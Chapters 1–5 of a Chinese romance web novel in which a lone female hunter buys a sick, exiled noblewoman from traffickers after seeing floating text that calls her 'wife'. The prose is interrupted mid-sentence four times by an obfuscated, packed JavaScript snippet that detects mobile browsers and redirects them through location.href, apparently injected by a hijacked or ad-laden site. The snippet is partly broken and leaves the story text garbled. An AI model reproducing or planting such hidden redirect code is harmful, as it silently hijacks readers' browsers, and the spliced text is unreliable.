《弹幕说她是我老婆》 1. 第 1 章 清晨,阳光正好,石田村里正是一片忙碌秋收的火热场景。 家住村头的刘老大一家都在田里忙活,恰巧他家的田地也在村口,割稻间隙偶尔直起身捶捶腰,一抬眼正瞧见旁边云雾山上有人飞快向着山下跑来。 刘老大眯眼瞧了瞧,不出意料瞧见一道劲瘦身影,那人肩头还有一片阴影,像是扛着什么。 “诶,是夏时啊,她又打到猎物了吧。”刘老大的儿子刘生说着抬手抹了把汗,又抻了抻酸疼的腰,不误羡慕的接着说:“她可真好,都不用秋收的。” 话音刚落,刘生的后脑勺上就挨了一巴掌,亲爹瞪着眼训他:“成天就想好事。你也不想想,就你这小身板,上山够不够那些豺狼虎豹吃的!” 刘生提着镰刀躲开两步,他低头看了看自己细瘦的胳膊,仍旧不服气的嘟哝:“什么啊,夏时一个女郎都能打猎,我怎么就不行了?” 刘老大作势上前两步,顿时吓得刘生往后躲。看他这怂样刘老大就不想和他废话——猎户是那么好当的吗?人家那是祖祖辈辈传下来的本事,他家祖上就是种地的,除了种地什么都不会。再说这小子胆小,学人家上山打猎怕不是要饿死! 不远处通往县城的村道上,那道下山的身影已经去得远了,也并不知道有人正在议论她。 石田村距离丰乐县并不太远,脚程快的村民大半个时辰就能走到,花两个铜板坐牛车的话还能再快一些。不过村民们进城都会赶早,夏时下山的时候显然晚了,会经过村头的牛车这会儿都该到县城了,也绝没有下一辆牛车可以载她。 所幸夏时早习惯了用脚赶路,也从未指望过坐车进城。她肩上扛着清晨刚猎的鹿,也不觉得这百十斤的猎物沉,大步流星就往县城而去。 赶在晌午前,夏时终于到了丰乐县外,远远就瞧见城门口一片人来人往的热闹景象。 此时正值秋收,有的村子动作快已经完成了收割,村民们留下口粮剩下的粮食便都拉来了县城售卖。城里早有粮商等着收粮,每年从这时候起到之后一个月,县城都会格外热闹些。 夏时常来县城,对此早已是习以为常,绕过那些卖粮的人就进了城。 城里依旧是热闹的,夏时在山里待久了也不知道今天是什么日子,但街上的行人看上去比平时可多了不少。她走在街上,时不时就要侧身避让,免得鹿血蹭了人家的衣裳。 如此走了小半刻钟,夏时终于来到了熟悉的酒楼后门。 明泉楼的掌柜已经在后门口等着了,原本一脸的不耐烦,瞧见夏时之后立刻露出了笑容。当然,这笑不是冲着夏时去的,而是冲着她肩头的鹿:“好好好,小夏你当真是厉害,说能猎鹿果然就猎到了。来个人,快把鹿扛下去,这死沉死沉的多扛一会儿都累人。” 他话音落下,明泉楼后厨的两个帮工就迎了上来,齐齐伸手准备把鹿接过去。 夏时侧身让了一下,躲开了两人的手,目光直直望向明泉楼掌柜。后者见状一副恍然大悟的模样,立刻伸手入怀掏了掏,掏出两个银锭递了过去:“来,一手交钱,一手交货。” 可夏时只低头看了眼,却没动。 掌柜嘴角抽了抽,只好又从袖子里掏出块银子补上:“行了,加上定钱,一共三十两。” 夏时这才接了银子,把鹿给了那两个帮工——这是说好的价钱。最近县城来了不少商人,有人想吃鹿肉在明泉楼定了菜,掌柜才特地找到夏时定的鹿。这种指定时间和猎物的活儿,自然是要比寻常售卖更贵些,夏时为了猎这只鹿也在山上费了不少功夫。 双方银货两讫。掌柜的心疼了一下,钱给出去之后倒也很快放平了心态,又笑眯眯冲着夏时说道:“小夏啊,最近城里客商多,要是再有什么需要,我还得找你。” 夏时点点头,收好钱摆摆手,转身走了,孤僻得像是个哑巴。 **************************************************************** 今日卖鹿得了三十两银子,几乎抵的上村里人家一年的收入,夏时也没觉得有多开心。 她是个打猎的好手,别看是个女郎,力气却比男人还要大许多,再加上敏捷的身手和家传的狩猎技巧,云雾山上的各种野物就没有她猎不到的。几年时间她攒了不少钱,可惜自从养父去世山上就只剩了她一个人,寻常连个说话的人都没有,攒钱似乎也没什么意义。 怀揣着新到手的三十两,夏时也只打算把它们往钱罐子里一扔,然后继续埋起来。至于什么时候用得上这些钱,她自己都不知道。 又是无趣的一天,夏时出城前想了想,又转道去了趟西市。 今日的西市格外热闹,全是来卖粮的人,夏时才走几步就听后面有人在喊:“让让,都让让,小心些别被车撞到……” 是运粮的小推车,夏时侧身让开了,结果这一让恰好就有一抹鲜红映入眼帘。 身为猎户的夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230836|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时对红色尤其敏感,当即寻着余光所见看了过去,结果这一看她就呆住了——什么玩意儿?难不成是她在山里待久了眼花,怎么还能有字悬在半空中的?! 夏时还没从这奇景中回神,很快又震惊了。 原因无他,她是个只认识自己名字的文盲猎户,可偏那悬在半空中的一行字,她明明不该认识的却都认识,就见上面写着:快看,夏时她老婆诶! 夏时是谁?哦,夏时是我。 还有什么老婆?老婆什么?! 夏时眨眨眼,又眨眨眼,半空中那悬着的一行鲜红大字还在。她又揉了揉眼睛再看,结果依然没有变化,忍不住轻嘶一声,顺手就从旁边扯了个人过来。 被她抓住的正好是个文弱少年,看上去就识字的那种:“你做什么?” 夏时没理他这一问,抬手指着那悬浮在半空中的一行字问道:“你看那是什么?” 少年人自然都有好奇心,闻言立刻顺着夏时所指看去,结果这一看却是空荡荡一片,什么都没有。少年不禁茫然:“什么啊,你说的什么?” 很好,夏时不必再问了,那斗大的一行字只要不瞎就都能看见。 夏时不傻,猜到要么是她自己生出了幻觉,要么就是这行字只有自己能够看到。于是她扔开了被临时抓壮丁的少年,打算寻着这行字过去看看到底什么情况。 横穿过街,又绕开一条巷子,距离那行字越走越近,夏时终于看到了字的源头——那是几个人贩子在插标卖人,车马就停在旁边,看样子就是路过的。只是恰好今天丰乐县热闹人多,人贩子也凑了个热闹,而夏时看到的那行字正悬浮在一个女人的头顶。 夏时的目光不可避免的顺着那行字落在了女人身上,只见她衣衫单薄形容狼狈,虽然隐约可见其五官秀丽,应是个美人,但见到她的人第一眼注意的肯定不是这个…… 有人路过看了眼,就在夏时眼前淬了句:“病得要死的人也拉出来卖,这人贩子想钱想疯了吧!” 是的,那女人生病了,浑身的病气掩都掩不住。人贩子之所以不给这美人洗脸露面,就是怕她洗干净之后露出病色,更卖不出去。 可不知是巧合还是注定,夏时看过去时,那病恹恹的女人正好睁眼,与她四目相对。 女人眸光沉沉,像是酝酿着无形的风暴,夏时旋即不自在的避开了她的目光。只这一抬头,女人头顶那行字就又映入了她的眼帘,尤其是“老婆”两个字,让人看了莫名移不开眼。 2. 第 2 章 楚棠已经病了许多天了,如果不是因为这场病,她也不会出现在这座小城里。 丰乐县城在夏时看来是座繁华的城池,但在楚棠看来确确实实只是座小城。因为她出生在京城,父亲更是官至尚书,楚家小姐的名号也曾名满京师,引得满城男儿求娶。 可惜,这些都已经是过去了。她的尚书父亲月前不知怎的就被牵连进了谋反案中,如今早已是身首异处,连带着楚家满门也都落了个流放的下场。而楚棠之所以出现在这里,正是因为她在流放途中重病,一时昏迷让人以为她已经死了,于是被“抛尸”路边。 好在楚棠命不该绝,因为生得美貌,又被路过的人贩子捡了回去,兜兜转转来到了丰乐县。途中人贩子也试图将她卖进青楼卖个好价,可惜她病得太重,青楼也不肯要她。 楚棠将这些都看在眼里,庆幸之余也很清楚,自己必须要抓住一切机会自救了。 病恹恹的女子费力的坐了起来,黑沉沉的目光往对面的猎户身上多转了两圈。只见女郎身姿高挑,骨肉匀称,穿着一身方便行动的短衫,腰间还别了把沾血的猎刀,透着股煞气。视线再往上移,便见她五官不算精致反倒透着凌厉,一头长发在脑后扎了个高马尾,英气逼人的模样全不似闺秀女儿。 倒像是个英气的小将军! 这话在楚棠心里滚了一圈,倒真将人看进了眼里。 事实上除了这人,她也别无选择——人贩子已经在这里逗留一上午了,可丰乐县本身不是太富裕,买人的并不多,更别提楚棠看着就一身病气,人人看了她都躲,眼前的女猎户还是头一个将视线放在她身上的。两人对视之后,那人也没走,说不定真会买下她? 楚棠努力坐直了身体,心里其实还是没谱。不过人贩子显然比她更加主动,见夏时已经站在那里看了挺久,便主动迎了上去:“女郎可是要买人?” 夏时的目光还在“老婆”两个字上打转。虽然不清楚这行字哪儿来的,但老婆是什么她很清楚,那是能领回家,给她洗衣做饭暖被窝的家人。 其他的暂且不提,一个人住在山里的夏时可是受够了孤独,她太渴望有人陪伴了。 手不自觉放在腰间猎刀的刀柄上,熟悉的触感让她生出了几丝心安和勇气来。夏时收回目光又瞥了眼字下的女人,这才问道:“怎么卖?” 人贩子自是精明,一眼就看出夏时的目光落点,心里当即就是一喜,这白捡来的货终于有人肯接手了。他这都带着人走了小半个月了,白搭进去不少米粮,再卖不出去的话可真要亏死。于是立刻扬起一抹笑脸,吹捧道:“女郎可真是好眼光,这姑娘可是个美人,只是舟车劳顿还没来得及洗漱,您要是把人买回去洗把脸,就知道这人有多值了……” 夏时又不是没与生意人打过交道,并不耐烦听人贩子继续自卖自夸,摆摆手说道:“她都快病死了吧?人死了漂不漂亮有什么区别?再说我也不是冲着美人来的,你直接说个实在价。” 人贩子闻言噎了噎,目光在夏时拧着眉头的脸上转了圈,又看了看她握着猎刀的粗糙手掌,大概也看出这人不是能为美色买单的。换做往日他就换个姿色平平的来推荐了,可眼下这女人不是要病死了吗,那能尽快脱手也总比死在自己手里强。 念头转了转,人贩子开口时却也没嘴软,当即竖起三根手指:“三十两。” 夏时闻言眉头动了下,目光狐疑的在人贩子身上落了落,如果不是之前没见过,她都要怀疑对方是不是看到她卖鹿了。不过三十两啊,她卖了鹿倒是正好有…… 心里有了两分底气,夏时也没再理会那人贩子,她走到楚棠面前蹲了下来。两人再次四目相对,夏时握着刀柄的手又紧了紧,心里已经紧张得要死,面上看着倒比之前更冷硬了:“我买人回去不是供着的,你都会些什么?” 楚棠会的挺多,琴棋书画诗词歌赋,京中就没有比她更厉害的才女。可正因为聪明,她也很清楚眼前的女猎户不会需要这些,所以她主动问:“你需要我做什么?” 夏时想了想,很直白的说:“洗衣做饭暖被窝,你会吗?” 这话的指向很明显了,楚棠和旁边的人贩子都听懂了,她这是想买个媳妇——本朝的风气很开放,同性成婚也是可行的。只是这风气多在大城,小地方却少有听说两个女子成婚的。原因倒很现实,富贵人家的女儿衣食无忧,自然可以求个体贴爱人,平民百姓家的女儿却还要考虑生计问题。 人贩子没想到小猎户还有这想法,但心里却是不以为然的,毕竟就算买媳妇也该买个健康些的,这病歪歪的买回家除了往里填药钱,哪里能做什么事? 当然,作为卖家,人贩子是很想脱手的,立刻打算替楚棠回应。 只是还没等他开口,比他更迫不及待脱离现状的楚棠便先一步回了话,掷地有声:“我会!” 这话可信度不太高,但夏时也没有深究的意思。她伸手入怀已经摸到银子了,就听面前的女人接着说道:“可我不值三十两,我最多只值十两银子。” 此言一出不说夏时了,就连人贩子也愣住了,紧接着就是大怒:“胡说八道!值多少银子是你说了算的吗?我说三十两就三十两,少一两银子我都……” 楚棠平静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230837|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接话:“不卖?然后等着我明天病死?” 人贩子又被噎住了,他看了眼楚棠那脏污都遮不住的病容,很难说她明天是不是真就病死了。要人真病死了,那他可就连这几天的米汤钱都收不回来了。 想到这里,人贩子下意识又将目光转向了夏时,期望她干脆点直接掏钱。 可夏时又不傻,楚棠都主动开口替她省钱了,她当然不会拖后腿。这会儿别说掏钱了,她都已经把目光转向了别处,然后指着另一人问人贩子:“那人多少钱?” 人贩子见状顿时有点着急了,看也没看,嘴里直接报了个高价:“也是三十两。” 夏时一听这话,直接就站起来了,抬脚就走:“奸商,真当我不知行情呢。这样的丫头城里牙行都只卖二两,你一开口就翻了十几倍,以为我是冤大头呢。” 人贩子转头一看,就见夏时刚才指的是个瘦瘦巴巴也不好看的小丫头,果然是只值二两的货。他当即懊恼起来,又见夏时一走,楚棠气色更加萎靡,当即也不敢贪心了,忙不迭追上去一把将人拦住:“诶,诶,女郎别急啊,咱们做买卖就是漫天要价落地还钱,你这价都不还怎么就急着走呢?” 夏时皱着眉,一脸的不耐烦:“你价喊得这么离谱,要我怎么还?” 人贩子哑口,支吾两句,这才说道:“那你随便还个价先。” 夏时干脆摊开手掌,在楚棠的报价上又打了个对折:“五两,多了没有。” 人贩子:“……”早知道就十两卖了。 夏时没给人犹豫的机会,见人贩子没有松口,立刻绕开他继续走。结果自然又被拦了回去,就见人贩子一脸的痛心疾首,活像是被割了二两肉似得肉痛:“行吧,五两就五两。也是我心善,剩下的钱女郎可得拿去给人看病,不然人病死了,女郎这钱也就亏了啊。” 人贩子这话可不算好心,他是觉得这钱自己没挣到,也不想夏时真省了。但不得不说,这原也是楚棠的想法,她替夏时省钱也是为了想给自己买药的。 不过楚棠可比人贩子坦荡,看着夏时折返回来,当下便实话实说:“你若买了我回去,就得替我治病。三十两银子省下二十五两,也不知够不够我的药钱。” 夏时闻言掏银子的手没有半分犹豫,转手就把五两银子给了人贩子,替楚棠赎身。 村里娶个媳妇用不着十两银子,买个媳妇还能更便宜,打开思路之后夏时自然可以有其他选择。但她看着楚棠头顶慢慢淡去的那行字,却没有考虑其他可能——如此奇特的相遇,让夏时有种宿命般的笃定,笃定眼前这女人才是她命中注定的老婆! 3. 第 3 章 夏时爽快的付了钱,楚棠也就默认了她会出钱替自己治病,提着的心终于放下几分。 “怎么样,还能站起来吗?”夏时又走到楚棠面前,弯腰问她。 楚棠抬眸与她对视一眼,咬了咬牙:“可以。” 话出口,楚棠便撑着膝盖缓缓站了起来,看上去还算稳健,实际上却虚弱得几乎脱力。而等她站直之后,夏时才真正看清她此刻模样——女人比她矮了大半个头,身形单薄得像是纸片,仿佛被秋风一吹就会倒下。偏这虚弱的人还要强撑几分气势,站起身后不等她开口,就主动迈开了步子。 不出所料,这一脚迈出还没踩实,楚棠就腿一软,整个人向前扑倒下来。 所幸夏时早有所料,及时伸手一把将人抱住了。只入手的却不是香香软软的女儿娇躯,而是一副骨瘦嶙峋的虚弱病躯,也不知这人之前吃了多少苦。 夏时想着这人将是自己老婆,不免生出了几分心疼:“不能走就不能走,你逞什么强?!” 她说着一弯腰,熟练的把人扛在了肩上。楚棠只觉一阵天旋地转,紧接着便被夏时的肩膀顶得一阵难受,眼前更是阵阵发黑,连开口反抗的力气都没了。 好在夏时走出两步,自己也意识到了不对——她这要带走的是老婆,可不是随便她折腾的猎物,万一把人折腾坏了怎么办?! 于是忙不迭又把人放了下来,低头一看果然发现楚棠脸色更差了。 没怎么与人打过交道的小猎户顿时慌了,弯着腰低着头,一叠声的问:“对不起,我刚才就是习惯了。你怎么样,没事吧,是不是很难受?前面不远就有医馆,你难受的话我现在就带你过去。”说完没等楚棠回答,她这次总算学乖了,一手揽着腰背一手穿过腿弯,直接将人打横抱了起来。 她跑起来速度也很快,全没将楚棠这几十斤的重量放在眼前,一路小跑着直奔医馆。 等楚棠终于缓过那口气重新睁眼,已然是靠在了夏时怀中。小猎户的体温透过单薄的秋衫传递过来,耳边是她有力的心跳,楚棠不知怎的竟生出了几分心安来。 夏时说得不错,距离不远就有一家医馆,再加上她跑得快,不消片刻便到了地方。 这医馆夏时还挺熟,从前养父就带她来这里买过药,后来养父不在了,她作为猎户时常进山,也常来买些伤药之类的备用。因此一进医馆她便熟门熟路的直奔坐堂大夫,都来不及将人放下便喊道:“夏大夫,你快看看,她怎么样了?” 医馆的大夫恰好也姓夏,因此对这个同姓的小猎户也多了几分熟稔。乍然见她抱着个女人过来求医,满心的疑问都来不及出口,还是先替楚棠把了脉。 闭目感受片刻,夏大夫脸上神色松缓几分,一睁眼就对上了夏时着急的脸。 心知夏时大字不识几个,夏大夫开口时也就没有说什么风邪入侵之类的话,直白说道:“问题不大,就是累狠了,饿狠了,受了风寒没人照顾,还想得太多。吃点药放宽心,回去养养就好。”说完目光往下一扫,又道:“你家里伤药还有吗?没有的话,就再拿两瓶回去。” 夏时闻言顺着夏大夫目光一看,就见楚棠脚下的鞋早已经磨破了,上面还斑斑点点染着血迹,也不知她之前是走了多少路……人贩子是让她一路走过来的吗? 心头蓦地生出些无名火来,夏时拳头捏紧,很想回去找那几个人贩子麻烦。 只是下一刻,她的手就被另一只微凉的手掌覆盖住了,楚棠像是看穿了她的想法,软声开口安抚:“我没事,和他们也没有关系。” 夏时不太相信,但也看出楚棠是不想她去找麻烦,只好忍耐下来。 说话间夏大夫也开好了药,治风寒的药倒是不贵,但给楚棠补身体的药却不便宜。夏时身上剩下的二十五两果然花了个干干净净不说,这还只是一次看诊的药,吃完恐怕还得再来。 楚棠看着她掏了银子取了药,长睫微微垂落——二十五两银子对于曾经的她来说不值一提,但她也知道这笔银子对于普通百姓来说有多难得,所以她不会指望夏时再拿出这么多银子来给她买补药。而对方能毫不犹豫的拿出这笔钱,已然是出乎意料的可靠了。 曾经的千金小姐,一遭沦落至此,但或许她的运气也没有那样糟糕? ************************************************************** 夏时原本往西市来是想顺路买两件成衣回去的,如今钱全花在了楚棠身上,她当然也就不去布庄了。当下把药包塞给楚棠抱着,自己则连人带药一起抱着离开了医馆。 等走出了老远,夏时才想起来和楚棠说:“对了,我还没和你说我的情况呢。我叫夏时,家住在城外石田村旁的云雾山上,是个猎户。我家除了我也没其他人了,等你养好了病,今后就咱们俩一起过日子。”说完想了想,又补充道:“我虽然没田没地,但肯定不会让你饿肚子的。” 她是还记着夏大夫说的“饿狠了”,而事实上以楚棠的出身,这辈子头回挨饿还是在流放路上。而流放的路她也并没有走太久,就在饥饿疲累以及族人的怨怼下病倒了。 因此对于楚棠来说,她的心结从来不在饥饿上,而在月前那场天翻地覆的变故本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230838|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身。 时至今日她也没从这场变故中缓过劲来,但对于夏时的关心,她自然也是收到了的。这是她近来收到的唯一善意,因此哪怕虚弱得恨不得立刻闭眼睡去,她也强撑着睁眼回道:“嗯,我叫楚棠,清楚的楚,海棠的棠。” 夏时又等了等,也没等到她说出家人来历,只是听口音知道她应是外地人罢了。不过人都落在人贩子手里了,想必也是有过一段糟心的过往,她便也体贴的不再追问。 又走了一阵,城门已是遥遥在望,夏时才又开了口:“云雾山离县城还有些远,我带你坐牛车回去吧。” 楚棠自然没有反对。她被小猎户抱着走了一路,能感觉到她的手臂依旧坚定有力,想来自己这点重量对她来说不算什么。可云雾山到底有多远她也不知道,总不能让人一直受累。 两人来到城门口时,恰好看见牛车停在城外,赶车人正靠在车上打着盹。 夏时走过去,抬脚踢了踢车轮,车夫眼也没睁就往旁边挪了挪,让出一片车板位置:“还早着呢,人都没齐,先坐着等会儿吧。” 牛车是按人头收钱的,一人一个铜板,车夫当然是要等人坐满了才肯走,甚至能挤得下的话,他还恨不得多往车上塞几个人。而眼下时间才过晌午,进城买东西的村人大多还没出来,车夫当然不急着走。往常他也得等到半下午,才能攒齐人赶车回去。 夏时却不想等,她还想早些回去给老婆煎药呢,于是低头示意楚棠:“帮我把钱袋找出来。” 楚棠顿了顿,顺着夏时示意看去,便知她是将钱袋揣在了怀里。而眼下对方正双手抱着自己,也确实没空着的手掏钱袋,那她…… 不知不觉,楚棠的耳根染上了一抹绯色,而后在对方的再一次催促下伸出了手。 她动作很是小心,可在伸手入夏时衣襟后,还是不可避免的碰到了不该碰的地方。她指尖一颤,然后被烫到似得一缩手,飞快找到对方怀中的钱袋取了出来。 夏时却像是没察觉到不妥一般,自然而然吩咐道:“你取十个铜板出来。” 楚棠红着耳朵,听话的取了十个铜板,然后就听夏时冲着车夫喊道:“十个铜板包你的牛车,只到石田村,现在可以走了吧?” 牛车再能拉,最多也只坐得下十个人,毕竟肯坐牛车回家的人大多也是大包小包的一堆。如今夏时直接给了十文钱,还只拉两个人免得牛受累,车夫自然是愿意的。当下一个打挺坐了起来,一边伸手接钱一边一叠声的道:“走走走,这有什么走不得的,立刻就走!” 楚棠将钱递了过去,而夏时一个跨步,抱着人就直接上了牛车。 4. 第 4 章 牛车晃晃悠悠前行,秋日犹带几分躁意的风吹拂在脸庞上,带着几分平淡的悠然。 楚棠靠在夏时怀中,起初还想强撑,结果不知不觉就睡了过去。什么时候到了地方,什么时候下的牛车,乃至于怎么被夏时抱上山她都一无所知。 再次醒来,她已经躺在了一间陌生的屋子里。身下的床板略硬,比不上她从前睡惯了的高床软枕,却比这一个月来她所经历的不知好了多少。以至于她躺在这全然陌生的环境里,竟也生出了几分心安与眷恋来,浑身的骨头都似酥软了三分。 楚棠本就生着病精神不济,此时心弦一松,刚睁开没多久的眼皮就又沉甸甸压了下来。她缓缓闭眼即将再次睡去,一阵脚步声却终究将她的心神拉了回来。 藏在被子下的手悄悄攥紧了几分,楚棠眸中闪过一丝警惕,望向声音来处。 不出所料,果然是夏时进来了,她手里还端着一只海碗。进来见她醒了,小猎户顿时露出个笑容,高兴道:“你醒了?正好,我正要叫你起来吃点东西呢。” 说话间她已走到床前,一只手端着碗,一只手就来扶楚棠起身。 楚棠下意识躲了下,只是还没等夏时发觉,便又主动接受了对方好意,被扶着坐起了身。只夏时家中陈设简陋,也没什么放在床边的案几能让她放碗,于是她干脆侧身坐在床边,将碗端到了楚棠眼前:“饿狠了的人不好吃些大鱼大肉,我就熬了些粥,你先养养胃。” 碗里果然是粥,满满的一大碗,是楚棠扫一眼就知道吃不下的分量。只是还没等她开口道明,夏时就已经一脸殷勤的舀起一勺粥喂到了她唇边:“来,尝尝,我加了糖的,应该会甜。” 这人大抵没照顾过人,喂粥的动作一点不客气,勺子直接抵在了楚棠唇上。 楚棠拒绝的话都没来得及出口,就不得不先吃了这勺粥……夏时做饭的手艺如何暂且不知,但她熬粥的手艺确实还不错,米粥熬得软烂粘稠,里面也确实加了糖,吃起来甜滋滋的,竟将楚棠这几日口中的苦涩都驱散了大半。 眼见她眉头舒展,夏时也忍不住跟着高兴。她收回手正打算再舀一勺粥喂过去,却被只微凉的手忽的抓住了手腕,不由茫然抬头:“怎么了?” 楚棠抓着她拿勺子的手,发白的唇抿了抿,终于蕴出两分血色:“太多了,我吃不完。” 若是从前,楚棠自然不会担心吃不完一碗粥,吃不完的倒掉就是了。可今时不同往日,她既不想给夏时留下浪费粮食的坏印象,也不想剩下半碗粥下顿热过再吃。 夏时闻言却不以为意,转了转手腕挣脱她的手:“没关系,你先吃着。” 说话间,她已经又舀了一勺粥喂了过去,楚棠扫了眼粥碗,终于还是放弃了。她由着夏时又喂了两勺粥,便推了推她的手:“好了,我吃饱了。” 夏时诧异的看了看她,又看了看手里还满着的碗,不由嘀咕了句:“你这比猫吃得还少啊。” 楚棠听了扫她一眼,夏时顿时露出个悻悻的笑,紧接着就将手里的粥碗往对方手里一塞:“好了,你再吃点,我不喂你就是了,免得你觉得不自在。”说完甚至干脆起身:“我先出去了,外面还给你熬着药呢。等你吃完了,正好吃了药再好好睡一觉。” 话音落下人也出去了,留下楚棠看看手里的粥碗,轻轻吐出一口气来。 一刻钟后,夏时端着药碗回来了,低头一看,楚棠手里的粥碗又少了些。不过她胃口也是真的小,明明之前一直挨饿,这碗粥也没能吃完。 见夏时回来,她像是松了口气,忙把粥碗递了过去:“我真的吃饱了,剩下的吃不了了。” 夏时点头,这次没有强求,一手接过粥碗,一手又把药碗递了过去:“药熬好了,你把药吃了吧。” 刚熬好的药冒着热气,苦涩的气味也随之飘散在空气中,楚棠闻到这味道,嘴里刚尝到的那丝甜立刻就被苦涩掩盖了。她不自觉偏了偏头,虽然什么都没说,但一看就是不爱吃药的人。 当然,也没人会喜欢吃药,夏时只觉得她这逃避的模样有点可爱。 凑过去在楚棠肩膀上轻点了两下,夏时又将手掌递到楚棠面前,笑眯眯摊开:“乖,把药吃了,我给你备好了糖。喝完药再吃糖,嘴里就不会苦了。” 楚棠觉得这人是拿自己当小孩儿哄了,心头滋味儿一时复杂极了。可事实上根本不需要夏时哄,想要自救的楚棠也会乖乖喝下这碗来之不易的汤药——她抬手接过了药碗,端起来仰头便一饮而尽,苦涩的滋味儿从嘴里一直蔓延到心底,也没去接夏时手里的糖。 倒是夏时主动把她递到她嘴边,还被她拒绝了:“刚吃了药,立刻吃糖会损了药性。” 夏时却不信这话,因为她爹从前也是这样哄她吃药的。当下不由分说便把药塞进了楚棠嘴里,楚棠一时间吐也不是,吃也不是,犹豫间糖的甜已经驱散了药的苦。 那人出去前还轻声哄她:“乖,我去收拾下,你要是困了就继续睡。” ********************************************************* 楚棠又睡着了,也不知是因这些时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230839|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日的辛苦疲乏,还是因那汤药有安神的作用。 她睡得很沉,迷迷糊糊间感觉自己的脚被人动了,有细细密密的刺痛感传来。只是眼皮太沉,困意太浓,那点刺痛感根本没能唤醒她,她便又睡了过去。 又过了一阵,也或者过去许久,她又感觉有温热的帕子擦过脸颊,只是沉睡的人依旧没醒。 再次醒来,已是晨光破晓。 她迷迷糊糊睁开眼,就发现自己正靠在个温暖的怀抱中。 楚棠身子不由一僵,目光往上移了移,不出所料瞧见了夏时沉睡的脸庞。 她被这人圈在了怀里抱着,要说亲密自然也是亲密,但这人也只是抱着她,并没有更逾矩的动作。可楚棠看着夏时那张脸,不知不觉就想到了昨日这人的那番话——洗衣做饭暖被窝,昨晚两人睡在一起,她算是给人暖被窝了吗?! 这个念头一起,楚棠一张苍白的小脸都不由染上了几分绯色,靠在夏时怀里也越发不自在起来。再加上昨晚吃了药,又得到了很好的休息,恢复些精神的楚棠再也睡不下去,她开始缓缓往后挪,试图在不惊动夏时的前提下,脱离对方的怀抱。 然而她才刚一动,敏锐的猎人便一下子惊醒了,睁眼时眸中都是锐利的警惕。 好在夏时很快看清了自己所处的地方,紧绷起来的身体又瞬间放松下来。她低头看了看怀里的人,懒洋洋打了个招呼:“醒了?” 刚醒来的夏时像是被惊醒的猎豹,楚棠都被她那瞬间流露出的锋芒吓了一跳。等她清醒放松下来,又像是只懒洋洋的狮子,即便收起了利爪,也让人心有余悸。 楚棠轻轻“嗯”了一声,这次是光明正大从对方怀里滚了出来。 她感觉今日精神好了许多,撑着身子坐了起来,这一动才发现脚下的异样。想起昨晚迷迷糊糊的感受,她掀开被子瞧了一眼,果然发现脚下的伤已经被人处理过了,眼下两只脚都被绷带裹了起来,看上去像是伤得很重,透着几分可怜。 夏时打了个哈欠,也坐了起来,肉眼可见还十分困倦。之前为了猎那只鹿,她在山里足足待了两日都没睡,本就十分疲惫了,昨夜照顾楚棠又折腾得挺晚,一觉睡到天亮也没睡够。 不过楚棠都醒了,她自然不好再睡,得起来照顾人了。 她迷迷糊糊掀被起身,楚棠听到动静侧头看了过来,这一眼正好瞧见夏时中衣下摆被扯动,露出半截腰肢来。只匆匆一眼,也瞧见那腰肢劲瘦有力,小腹上肌肉分明,全不似娇软女儿的腰。 楚棠飞快收回了目光,也不知想到了什么,耳根又烫了起来。 5. 第 5 章 楚棠从来没忘记过,夏时对自己说的第一句话。 她问自己会不会洗衣做饭暖被窝,买下自己的目的就是为了当老婆的。所以哪怕她现在身体虚弱,这人看着体贴又克制,但她也不能忽视随时发生些什么的可能。 楚棠眨了下眼,飞快别开了目光,脑子里却不由自主的生出了许多不合时宜的想法……京中多贵女,娇娇的女儿家不爱那些粗鲁的儿郎,选择同性伴侣的并不少见。她曾经的手帕交里就有两个选了妻的,据说平日里相互体贴好不美满,夜间彼此慰藉也十分合意。 托着两个好友的福,楚棠对于妻妻之间的那点事,也比寻常闺阁女儿更多些。原因无他,两个生活美满的好友也希望她能体会到同样的好处,都劝她寻个女孩儿来成婚。 如今这般境况,倒也阴差阳错算是随了那两人的意。 